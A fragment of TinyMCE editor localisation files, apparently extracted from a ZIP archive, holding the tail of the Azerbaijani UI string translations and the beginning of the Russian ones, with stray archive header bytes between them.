"Fullscreen": "Tam ekran rejimi",
"Action": "\u018fmr",
"Shortcut": "Q\u0131sayol",
"Help": "K\u00f6m\u0259k",
"Address": "Adres",
"Focus to menubar": "Menyu \u00e7ubu\u011funa diqq\u0259t et",
"Focus to toolbar": "Al\u0259tl\u0259r \u00e7ubu\u011funa diqq\u0259t et",
"Focus to element path": "Elementin m\u0259nb\u0259yin\u0259 diqq\u0259t et",
"Focus to contextual toolbar": "Kontekst menyuya diqq\u0259t et",
"Insert link (if link plugin activated)": "Link \u0259lav\u0259 et (\u0259g\u0259r link \u0259lav\u0259si aktivdirs\u0259)",
"Save (if save plugin activated)": "Yadda\u015fa yaz (\u0259g\u0259r yadda\u015fa yaz \u0259lav\u0259si aktivdirs\u0259)",
"Find (if searchreplace plugin activated)": "Tap (\u0259g\u0259r axtar\u0131\u015f \u0259lav\u0259si aktivdirs\u0259)",
"Plugins installed ({0}):": "\u018flav\u0259l\u0259r y\u00fckl\u0259ndi ({0}):",
"Premium plugins:": "Premium \u0259lav\u0259l\u0259r",
"Learn more...": "Daha \u00e7ox \u00f6yr\u0259n...",
"You are using {0}": "Siz {0} istifad\u0259 edirsiniz",
"Plugins": "\u018flav\u0259l\u0259r",
"Handy Shortcuts": "Laz\u0131ml\u0131 q\u0131sayollar",
"Horizontal line": "Horizontal x\u0259tt",
"Insert\/edit image": "\u015e\u0259kilin \u0259lav\u0259\/redakt\u0259 edilm\u0259si",
"Image description": "\u015e\u0259kilin t\u0259sviri",
"Source": "M\u0259nb\u0259",
"Dimensions": "\u00d6l\u00e7\u00fcl\u0259r",
"Constrain proportions": "Nisb\u0259tl\u0259rin saxlan\u0131lmas\u0131",
"General": "\u00dcmumi",
"Advanced": "Geni\u015fl\u0259nmi\u015f",
"Style": "Stil",
"Vertical space": "Vertikal sah\u0259",
"Horizontal space": "Horizontal sah\u0259",
"Border": "\u00c7\u0259r\u00e7iv\u0259",
"Insert image": "\u015e\u0259kil yerl\u0259\u015fdir",
"Image": "\u015e\u0259kil",
"Image list": "\u015e\u0259kil listi",
"Rotate counterclockwise": "Saat \u0259qr\u0259binin \u0259ksin\u0259 f\u0131rlat",
"Rotate clockwise": "Saat \u0259qr\u0259bi istiqam\u0259tind\u0259 f\u0131rlat",
"Flip vertically": "\u015eaquli \u00e7evir",
"Flip horizontally": "\u00dcfiqi \u00e7evir",
"Edit image": "\u015e\u0259kili redakt\u0259 et",
"Image options": "\u015e\u0259kil parametrl\u0259ri",
"Zoom in": "Yax\u0131nla\u015fd\u0131r",
"Zoom out": "Uzaqla\u015fd\u0131r",
"Crop": "K\u0259s",
"Resize": "\u00d6l\u00e7\u00fcl\u0259ri d\u0259yi\u015f",
"Orientation": "Oriyentasiya",
"Brightness": "Parlaql\u0131q",
"Sharpen": "K\u0259skinl\u0259\u015fdir",
"Contrast": "Ziddiyy\u0259t",
"Color levels": "R\u0259ng s\u0259viyy\u0259l\u0259ri",
"Gamma": "Qamma",
"Invert": "T\u0259rsin\u0259 \u00e7evir",
"Apply": "T\u0259tbiq et",
"Back": "Geri",
"Insert date\/time": "G\u00fcn\/tarix \u0259lav\u0259 et",
"Date\/time": "Tarix\/saat",
"Insert link": "Linkin \u0259lav\u0259 edilm\u0259si",
"Insert\/edit link": "Linkin \u0259lav\u0259\/redakt\u0259 edilm\u0259si",
"Text to display": "G\u00f6r\u00fcn\u0259n yaz\u0131n\u0131n t\u0259sviri",
"Url": "Linkin \u00fcnvan\u0131",
"Target": "H\u0259d\u0259f",
"None": "Yoxdur",
"New window": "Yeni p\u0259nc\u0259r\u0259d\u0259 a\u00e7\u0131ls\u0131n",
"Remove link": "Linki sil",
"Anchors": "L\u00f6vb\u0259rl\u0259r",
"Link": "Ke\u00e7id",
"Paste or type a link": "Ke\u00e7idi yerl\u0259\u015fdirin v\u0259 ya yaz\u0131n",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Daxil etdiyiniz URL bir e-mail kimi g\u00f6r\u00fcn\u00fcr. \u018fg\u0259r t\u0259l\u0259b olunan mailto: prefix \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Daxil etdiyiniz URL bir e-mail kimi g\u00f6r\u00fcn\u00fcr. \u018fg\u0259r t\u0259l\u0259b olunan mailto: prefix \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?",
"Link list": "Ke\u00e7id listi",
"Insert video": "Videonun \u0259lav\u0259 edilm\u0259si",
"Insert\/edit video": "Videonun \u0259lav\u0259\/redakt\u0259 edilm\u0259si",
"Insert\/edit media": "Media \u0259lav\u0259\/d\u00fcz\u0259li\u015f et",
"Alternative source": "Alternativ m\u0259nb\u0259",
"Poster": "Poster",
"Paste your embed code below:": "\u00d6z kodunuzu a\u015fa\u011f\u0131 \u0259lav\u0259 edin:",
"Embed": "\u018flav\u0259 etm\u0259k \u00fc\u00e7\u00fcn kod",
"Media": "Media",
"Nonbreaking space": "Q\u0131r\u0131lmaz sah\u0259",
"Page break": "S\u0259hif\u0259nin q\u0131r\u0131lmas\u0131",
"Paste as text": "M\u0259tn kimi \u0259lav\u0259 et",
"Preview": "\u0130lkinbax\u0131\u015f",
"Print": "\u00c7ap et",
"Save": "Yadda saxla",
"Find": "Tap",
"Replace with": "Bununla d\u0259yi\u015fdir",
"Replace": "D\u0259yi\u015fdir",
"Replace all": "Ham\u0131s\u0131n\u0131 d\u0259yi\u015fdir",
"Prev": "\u018fvv\u0259lki",
"Next": "N\u00f6vb\u0259ti",
"Find and replace": "Tap v\u0259 d\u0259yi\u015fdir",
"Could not find the specified string.": "G\u00f6st\u0259ril\u0259n s\u0259tiri tapmaq olmur",
"Match case": "Registri n\u0259z\u0259r\u0259 al",
"Whole words": "Tam s\u00f6zl\u0259r",
"Spellcheck": "Orfoqrafiyan\u0131 yoxla",
"Ignore": "\u0130qnorla",
"Ignore all": "Ham\u0131s\u0131n\u0131 iqnorla",
"Finish": "Bitir",
"Add to Dictionary": "L\u00fc\u011f\u0259t\u0259 \u0259lav\u0259 edilsin",
"Insert table": "S\u0259tir \u0259lav\u0259 et",
"Table properties": "C\u0259dv\u0259lin x\u00fcsusiyy\u0259tl\u0259ri",
"Delete table": "C\u0259dv\u0259li sil",
"Cell": "H\u00fccr\u0259",
"Row": "S\u0259tir",
"Column": "S\u00fctun",
"Cell properties": "H\u00fccr\u0259nin x\u00fcsusiyy\u0259tl\u0259ri",
"Merge cells": "H\u00fccr\u0259l\u0259ri birl\u0259\u015ftir",
"Split cell": "H\u00fccr\u0259l\u0259rin say\u0131",
"Insert row before": "\u018fvv\u0259lin\u0259 s\u0259tir \u0259lav\u0259 et",
"Insert row after": "Sonras\u0131na s\u0259tir \u0259lav\u0259 et",
"Delete row": "S\u0259tri sil",
"Row properties": "S\u0259trin x\u00fcsusiyy\u0259tl\u0259ri",
"Cut row": "S\u0259tiri k\u0259s",
"Copy row": "S\u0259tiri k\u00f6\u00e7\u00fcr",
"Paste row before": "\u018fvv\u0259lin\u0259 s\u0259tir \u0259lav\u0259 et",
"Paste row after": "Sonras\u0131na s\u0259tir \u0259lav\u0259 et",
"Insert column before": "\u018fvv\u0259lin\u0259 s\u0259tir \u0259lav\u0259 et",
"Insert column after": "\u018fvv\u0259lin\u0259 s\u00fctun \u0259lav\u0259 et",
"Delete column": "S\u00fctunu sil",
"Cols": "S\u00fctunlar",
"Rows": "S\u0259tirl\u0259r",
"Width": "Eni",
"Height": "H\u00fcnd\u00fcrl\u00fcy\u00fc",
"Cell spacing": "H\u00fccr\u0259l\u0259rin aras\u0131nda m\u0259saf\u0259",
"Cell padding": "H\u00fccr\u0259l\u0259rin sah\u0259l\u0259ri",
"Caption": "Ba\u015flan\u011f\u0131c",
"Left": "Sol t\u0259r\u0259f \u00fczr\u0259",
"Center": "M\u0259rk\u0259z \u00fczr\u0259",
"Right": "Sa\u011f t\u0259r\u0259f \u00fczr\u0259",
"Cell type": "H\u00fccr\u0259nin tipi",
"Scope": "Sfera",
"Alignment": "D\u00fczl\u0259ndirm\u0259",
"H Align": "H D\u00fczl\u0259ndir",
"V Align": "V D\u00fczl\u0259ndir",
"Top": "Yuxar\u0131",
"Middle": "Orta",
"Bottom": "A\u015fa\u011f\u0131",
"Header cell": "H\u00fccr\u0259nin ba\u015fl\u0131\u011f\u0131",
"Row group": "S\u0259tirin qrupu",
"Column group": "S\u00fctunun qrupu",
"Row type": "S\u0259tirin tipi",
"Header": "Ba\u015fl\u0131q",
"Body": "K\u00fctl\u0259",
"Footer": "\u018fn a\u015fa\u011f\u0131",
"Border color": "\u00c7\u0259r\u00e7iv\u0259 r\u0259ngi",
"Insert template": "\u015eablon \u0259lav\u0259 et",
"Templates": "\u015eablonlar",
"Template": "\u015eablon",
"Text color": "M\u0259tnin r\u0259ngi",
"Background color": "Arxafon r\u0259ngi",
"Custom...": "\u00c7\u0259kilm\u0259...",
"Custom color": "\u00c7\u0259kilm\u0259 r\u0259ng",
"No color": "R\u0259ngsiz",
"Table of Contents": "M\u00fcnd\u0259ricat",
"Show blocks": "Bloklar\u0131 g\u00f6st\u0259r",
"Show invisible characters": "G\u00f6r\u00fcnm\u0259y\u0259n simvollar\u0131 g\u00f6st\u0259r",
"Words: {0}": "S\u00f6zl\u0259r: {0}",
"{0} words": "{0} s\u00f6z",
"File": "Fayl",
"Edit": "Redakt\u0259 et",
"Insert": "\u018flav\u0259 et",
"View": "G\u00f6r\u00fcn\u00fc\u015f",
"Format": "Format",
"Table": "C\u0259dv\u0259l",
"Tools": "Al\u0259tl\u0259r",
"Powered by {0}": "{0} t\u0259r\u0259find\u0259n t\u0259chiz edilib",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "B\u00f6y\u00fck m\u0259tn sah\u0259si \u0259lav\u0259 edilib. Menyu \u00fc\u00e7\u00fcn ALT-F9 d\u00fcym\u0259sini bas\u0131n. Al\u0259tl\u0259r paneli \u00fc\u00e7\u00fcn ALT-F10 d\u00fcym\u0259sini bas\u0131n. K\u00f6m\u0259k \u00fc\u00e7\u00fcn ALT-0 d\u00fcym\u0259l\u0259rin bas\u0131n."
});PK
h�\�� � �program/js/tinymce/langs/ru.jsnu�[���tinymce.addI18n('ru',{
"Redo": "\u0412\u0435\u0440\u043d\u0443\u0442\u044c",
"Undo": "\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c",
"Cut": "\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c",
"Copy": "\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Paste": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c",
"Select all": "\u0412\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0441\u0435",
"New document": "\u041d\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Ok": "OK",
"Cancel": "\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c",
"Visual aids": "\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438",
"Bold": "\u0416\u0438\u0440\u043d\u044b\u0439 \u0448\u0440\u0438\u0444\u0442",
"Italic": "\u041a\u0443\u0440\u0441\u0438\u0432",
"Underline": "\u041f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u043d\u0438\u0435",
"Strikethrough": "\u0417\u0430\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u043d\u0438\u0435",
"Superscript": "\u041d\u0430\u0434\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439",
"Subscript": "\u041f\u043e\u0434\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439",
"Clear formatting": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435",
"Align left": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c \u043f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Align center": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Align right": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c \u043f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Justify": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c \u0442\u0435\u0441\u0442 \u043f\u043e \u0448\u0438\u0440\u0438\u043d\u0435",
"Bullet list": "\u041c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a",
"Numbered list": "\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a",
"Decrease indent": "\u0423\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043f",
"Increase indent": "\u0423\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043f",
"Close": "\u0417\u0430\u043a\u0440\u044b\u0442\u044c",
"Formats": "\u0424\u043e\u0440\u043c\u0430\u0442\u044b",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0412\u0430\u0448 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0443\u0444\u0435\u0440\u0443 \u043e\u0431\u043c\u0435\u043d\u0430. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448: Ctrl+X\/C\/V.",
"Headers": "\u0412\u0435\u0440\u0445\u043d\u0438\u0435 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b\u044b",
"Header 1": "\u0412\u0435\u0440\u0445\u043d\u0438\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 1",
"Header 2": "\u0412\u0435\u0440\u0445\u043d\u0438\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 2",
"Header 3": "\u0412\u0435\u0440\u0445\u043d\u0438\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 3",
"Header 4": "\u0412\u0435\u0440\u0445\u043d\u0438\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 4",
"Header 5": "\u0412\u0435\u0440\u0445\u043d\u0438\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 5",
"Header 6": "\u0412\u0435\u0440\u0445\u043d\u0438\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 6",
"Headings": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438",
"Heading 1": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Heading 2": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Heading 3": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Heading 4": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Heading 5": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Heading 6": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Preformatted": "\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439",
"Div": "Div",
"Pre": "Pre",
"Code": "\u041a\u043e\u0434",
"Paragraph": "\u0410\u0431\u0437\u0430\u0446",
"Blockquote": "\u0411\u043b\u043e\u043a \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f",
"Inline": "\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439",
"Blocks": "\u0411\u043b\u043e\u043a\u0438",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0412\u0441\u0442\u0430\u0432\u043a\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u043e\u043f\u0446\u0438\u044e.",
"Fonts": "\u0428\u0440\u0438\u0444\u0442\u044b",
"Font Sizes": "\u0420\u0430\u0437\u043c\u0435\u0440 \u0448\u0440\u0438\u0444\u0442\u0430",
"Class": "\u041a\u043b\u0430\u0441\u0441",
"Browse for an image": "\u0412\u044b\u0431\u043e\u0440 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"OR": "\u0418\u041b\u0418",
"Drop an image here": "\u041f\u0435\u0440\u0435\u0442\u0430\u0449\u0438\u0442\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u044e\u0434\u0430",
"Upload": "\u041f\u0435\u0440\u0435\u0434\u0430\u0442\u044c",
"Block": "\u0411\u043b\u043e\u043a",
"Align": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c",
"Default": "\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439",
"Circle": "\u041e\u043a\u0440\u0443\u0436\u043d\u043e\u0441\u0442\u0438",
"Disc": "\u041a\u0440\u0443\u0433\u0438",
"Square": "\u041a\u0432\u0430\u0434\u0440\u0430\u0442\u044b",
"Lower Alpha": "\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435 \u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0435 \u0431\u0443\u043a\u0432\u044b",
"Lower Greek": "\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435 \u0433\u0440\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0443\u043a\u0432\u044b",
"Lower Roman": "\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0435 \u0440\u0438\u043c\u0441\u043a\u0438\u0435 \u0446\u0438\u0444\u0440\u044b",
"Upper Alpha": "\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0435 \u043b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0435 \u0431\u0443\u043a\u0432\u044b",
"Upper Roman": "\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0435 \u0440\u0438\u043c\u0441\u043a\u0438\u0435 \u0446\u0438\u0444\u0440\u044b",
"Anchor...": "\u042f\u043a\u043e\u0440\u044c...",
"Name": "\u0418\u043c\u044f",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id \u0434\u043e\u043b\u0436\u0435\u043d \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0441 \u0431\u0443\u043a\u0432\u044b, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0431\u0443\u043a\u0432\u044b, \u0446\u0438\u0444\u0440\u044b, \u0442\u0438\u0440\u0435, \u0442\u043e\u0447\u043a\u0438, \u0434\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u044f \u0438\u043b\u0438 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u043d\u0438\u044f.",
"You have unsaved changes are you sure you want to navigate away?": "\u0423 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u0443\u0439\u0442\u0438?",
"Restore last draft": "\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430",
"Special character...": "\u0421\u043f\u0435\u0446. \u0441\u0438\u043c\u0432\u043e\u043b\u044b...",
"Source code": "\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434",
"Insert\/Edit code sample": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c\/\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430",
"Language": "\u042f\u0437\u044b\u043a",
"Code sample...": "\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430...",
"Color Picker": "\u041f\u0438\u043f\u0435\u0442\u043a\u0430 \u0446\u0432\u0435\u0442\u0430",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",
"Right to left": "\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e",
"Emoticons": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043c\u0430\u0439\u043b",
"Emoticons...": "\u0421\u043c\u0430\u0439\u043b\u0438\u043a\u0438...",
"Metadata and Document Properties": "\u041c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Keywords": "\u041a\u043b\u044e\u0447\u0438\u0432\u044b\u0435 \u0441\u043b\u043e\u0432\u0430",
"Description": "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u044b",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Encoding": "\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430",
"Fullscreen": "\u041f\u043e\u043b\u043d\u043e\u044d\u043a\u0440\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c",
"Action": "\u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0435",
"Shortcut": "\u042f\u0440\u043b\u044b\u043a",
"Help": "\u041f\u043e\u043c\u043e\u0449\u044c",
"Address": "\u0410\u0434\u0440\u0435\u0441",
"Focus to menubar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u043c\u0435\u043d\u044e",
"Focus to toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432",
"Focus to element path": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0435 \u043f\u0443\u0442\u0438",
"Focus to contextual toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432",
"Insert link (if link plugin activated)": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 (\u0435\u0441\u043b\u0438 \u043f\u043b\u0430\u0433\u0438\u043d link \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d)",
"Save (if save plugin activated)": "\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c (\u0435\u0441\u043b\u0438 \u043f\u043b\u0430\u0433\u0438\u043d save \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d)",
"Find (if searchreplace plugin activated)": "\u041d\u0430\u0439\u0442\u0438 (\u0435\u0441\u043b\u0438 \u043f\u043b\u0430\u0433\u0438\u043d searchreplace \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d)",
"Plugins installed ({0}):": "\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u044b ({0}):",
"Premium plugins:": "\u041f\u0440\u0435\u043c\u0438\u0443\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u044b:",
"Learn more...": "\u0423\u0437\u043d\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435...",
"You are using {0}": "\u0412\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 {0}",
"Plugins": "\u041f\u043b\u0430\u0433\u0438\u043d\u044b",
"Handy Shortcuts": "\u0413\u043e\u0440\u044f\u0447\u0438\u0435 \u043a\u043b\u0430\u0432\u0438\u0448\u0438",
"Horizontal line": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043b\u0438\u043d\u0438\u044f",
"Insert\/edit image": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Alternative description": "\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Accessibility": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438",
"Image is decorative": "\u0414\u0435\u043a\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Source": "\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a",
"Dimensions": "\u0420\u0430\u0437\u043c\u0435\u0440",
"Constrain proportions": "\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",
"General": "\u041e\u0431\u0449\u0435\u0435",
"Advanced": "\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435",
"Style": "\u0421\u0442\u0438\u043b\u044c",
"Vertical space": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Horizontal space": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Border": "\u0420\u0430\u043c\u043a\u0430",
"Insert image": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Image...": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435...",
"Image list": "\u0421\u043f\u0438\u0441\u043e\u043a \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439",
"Rotate counterclockwise": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043f\u0440\u043e\u0442\u0438\u0432 \u0447\u0430\u0441\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0435\u043b\u043a\u0438",
"Rotate clockwise": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043f\u043e \u0447\u0430\u0441\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0435\u043b\u043a\u0435",
"Flip vertically": "\u041e\u0442\u0440\u0430\u0437\u0438\u0442\u044c \u043f\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0438",
"Flip horizontally": "\u041e\u0442\u0440\u0430\u0437\u0438\u0442\u044c \u043f\u043e \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0438",
